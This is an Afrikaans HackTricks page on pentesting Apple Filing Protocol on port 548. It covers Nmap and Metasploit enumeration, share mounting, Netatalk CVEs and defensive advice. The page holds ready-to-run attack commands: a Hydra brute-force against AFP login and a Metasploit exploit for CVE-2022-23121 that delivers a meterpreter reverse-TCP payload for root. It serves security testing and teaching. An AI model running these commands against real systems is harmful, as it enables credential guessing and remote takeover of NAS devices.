548 - Pentesting Apple Filing Protocol (AFP)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Die Apple Filing Protocol (AFP), voorheen bekend as AppleTalk Filing Protocol, is ’n gespesialiseerde netwerkprotokol wat deel vorm van die Apple File Service (AFS). Dit is ontwerp om lêerdienste vir macOS en die klassieke Mac OS te verskaf. AFP onderskei homself deur ondersteuning vir Unicode-lêernaam, POSIX-styl en ACL-permissies, resource forks, benoemde uitgebreide attribuutname en gesofistikeerde lêssluitingsmeganismes.
Alhoewel AFP in moderne macOS-uitgawes vervang is deur SMB (SMB is die standaard sedert OS X 10.9), kom dit steeds voor in:
- Erfenis-macOS / Mac OS 9 omgewings
- NAS-toestelle (QNAP, Synology, Western Digital, TrueNAS…) wat die open-source Netatalk daemon insluit
- Gemmengde-OS-netwerke waar Time-Machine-over-AFP nog steeds geaktiveer is
Standaard TCP-poort: 548 (AFP oor TCP / DSI)
PORT STATE SERVICE
548/tcp open afp
Enumerasie
Vinnige banner / bediener-inligting
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
| Script | Wat dit doen |
|---|---|
| afp-ls | Lys beskikbare AFP volumes en lêers |
| afp-brute | Password brute-force teen AFP login |
| afp-serverinfo | Dump server name, machine type, AFP version, supported UAMs, etc. |
| afp-showmount | Lys shares saam met hul ACLs |
| afp-path-vuln | Detecteer (en kan uitbuit) directory-traversal, CVE-2010-0533 |
Die NSE brute-force script kan gekombineer word met Hydra/Medusa indien meer beheer benodig word:
hydra -L users.txt -P passwords.txt afp://<IP>
Indien jy reeds credentials het, raak Nmap’s AFP scripts baie meer nuttig omdat afp-serverinfo leaks die geadverteerde UAMs (auth methods), terwyl afp-showmount en afp-ls bereikbare shares, ACLs en interessante lêers kan lys:
nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>
Let op:
- Machine Type: Netatalk in
afp-serverinfooutput, wat gewoonlik ’n NAS / Unix-host beteken eerder as Apple se eie AFP-implementering. - UAMs such as
DHX,DHX2,CleartxtorGuest, omdat dit direk dui op die bereikbare login paths en of legacy / weak auth geaktiveer is. - Share ACLs from
afp-showmount; world-readable or drop-box style shares maak dikwels backups,.applfiles, en user metadata sigbaar voordat jy die volume mount.
Interaksie met shares
macOS
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
Linux (gebruik afpfs-ng ‑ verpak in die meeste distros)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
Sodra dit aangekoppel is, onthou dat klassieke Mac resource-forks as versteekte ._* AppleDouble-lêers gestoor word – dit hou dikwels interessante metadata wat DFIR-instrumente mis.
Op Netatalk-teikens maak hierdie metadata-backend ook saak vir uitbuitbaarheid:
ea = adbeteken metadata word gestoor in AppleDouble v2 lêers /.AppleDoublegidse.ea = sysofea = sambastoor metadata eerder in filesystem extended attributes.- In Netatalk 4.2+ is die ou
appledoubleopsie verwyder en die backend word uitsluitlik deur dieeaopsie beheer.
Van ’n offensiewe perspektief laat dit jou vinnig besluit of AppleDouble-oriented bugs meer waarskynlik op die bediener bereikbaar is.
Common Vulnerabilities & Exploitation
Netatalk unauthenticated RCE chain (2022)
Verskeie NAS-verskaffers het Netatalk ≤3.1.12 gebruik. ’n Gebrek aan bounds checking in parse_entries() stel ’n aanvaller in staat om ’n kwaadwillige AppleDouble-opskrif te skep en remote root te verkry voor verifikasie (CVSS 9.8 – CVE-2022-23121). ’n Volledige uiteensetting deur NCC Group met PoC wat Western-Digital PR4100 uitbuit, is beskikbaar.
Metasploit (>= 6.3) bevat die module exploit/linux/netatalk/parse_entries wat die payload via DSI WRITE lewer.
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
As die teiken ’n geaffekteerde QNAP/Synology-firmware gebruik, gee ’n suksesvolle eksploitasie ’n shell as root.
Netatalk OpenSession heap overflow (2018)
Ouer Netatalk (3.0.0 - 3.1.11) is kwesbaar vir ’n out-of-bounds-skrif in die DSI OpenSession handler wat ongemagtigde uitvoering van kode moontlik maak (CVE-2018-1160). ’n Gedetaileerde ontleding en PoC is deur Tenable Research gepubliseer.
Nuutste Netatalk-aanvalsoppervlak (2022-2024)
Onlangse Netatalk-advieslyste toon dat die aanvalsoppervlak nie meer tot parse_entries() en OpenSession-hantering beperk is nie:
- CVE-2022-45188: ’n spesiaal saamgestelde
.appl-lêer kan ’n heap overflow inafp_getappluitlok; dit is veral relevant as jy lêers in ’n share kan skryf en die bediener FCE / notify-funksies hardloop. - CVE-2023-42464: ’n type confusion fout in die Spotlight RPC handlers kan bereikbaar raak wanneer
spotlight = yesinafp.confgeaktiveer is (standaard gedeaktiveer). - CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: een-byt heap out-of-bounds-skrifte in login-verwante paaie reggestel in Netatalk 2.4.1 / 3.1.19 / 3.2.1. Hierdie foutjies is interessant omdat uitbuitbaarheid afhang van die gekonfigureerde UAMs:
uams_clrtxt.so+ PAM-backed ClearTxt login maak dieFPLoginExt-pad bloot wat relevant is vir CVE-2024-38439.uams_dhx.so+ PAM-backed DHX login bereik die kwesbare pad vir CVE-2024-38440.uams_guest.sohou die Guest-aanmeldpad bereikbaar vir CVE-2024-38441.
Dit beteken die uitset van afp-serverinfo is nie net fingerprinting-data nie; dit help jou besluit watter login parser blootgestel is voordat jy tyd spandeer aan exploit-ontwikkeling of NAS-firmware-triage.
Ander noemenswaardige probleme
- CVE-2022-22995 – Symlink-omleiding wat lei tot arbitêre lêerskryf / RCE wanneer AppleDouble v2 aangeskakel is (3.1.0 - 3.1.17).
- CVE-2010-0533 – Directory traversal in Apple Mac OS X 10.6 AFP (gedetekteer deur
afp-path-vuln.nse). - Verskeie memory-safety-foute is weer reggestel tydens die 2024 Netatalk releases; as jy
Netatalkinafp-serverinfoidentifiseer, spandeer ’n minuut om die blootgestelde UAMs / Spotlight / metadata-backend met die bedienerweergawe te korreleer voordat jy aanneem slegs die 2018/2022-foute is relevant.
Verdedigende Aanbevelings
- Deaktiveer AFP tensy dit streng nodig is – gebruik eerder SMB3 of NFS.
- As AFP moet bly, werk Netatalk op na ≥ 3.1.18 of 4.x, of installeer vendor-firmware wat die 2022/2023/2024-patches terugporteer.
- Handhaaf Sterk UAMs (bv. DHX2), deaktiveer clear-text en guest-aanmeldings.
- Beperk TCP 548 tot vertroude subnette en plaas AFP binne ’n VPN wanneer dit op afstand blootgestel word.
- Skandeer periodiek met
nmap -p 548 --script afp-*in CI/CD om onbetroubare / afgegradeerde toestelle op te spoor.
Brute-Force
Verwysings
- Netatalk Security Advisory CVE-2022-23121 – “Arbitrary code execution in parse_entries” https://netatalk.io/security/CVE-2022-23121
- Tenable Research – “Exploiting an 18-Year-Old Bug (CVE-2018-1160)” https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
- Netatalk Security Advisories index https://netatalk.io/security.html
- Netatalk 4.2.0 Release Notes https://netatalk.io/4.2/ReleaseNotes4.2.0
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


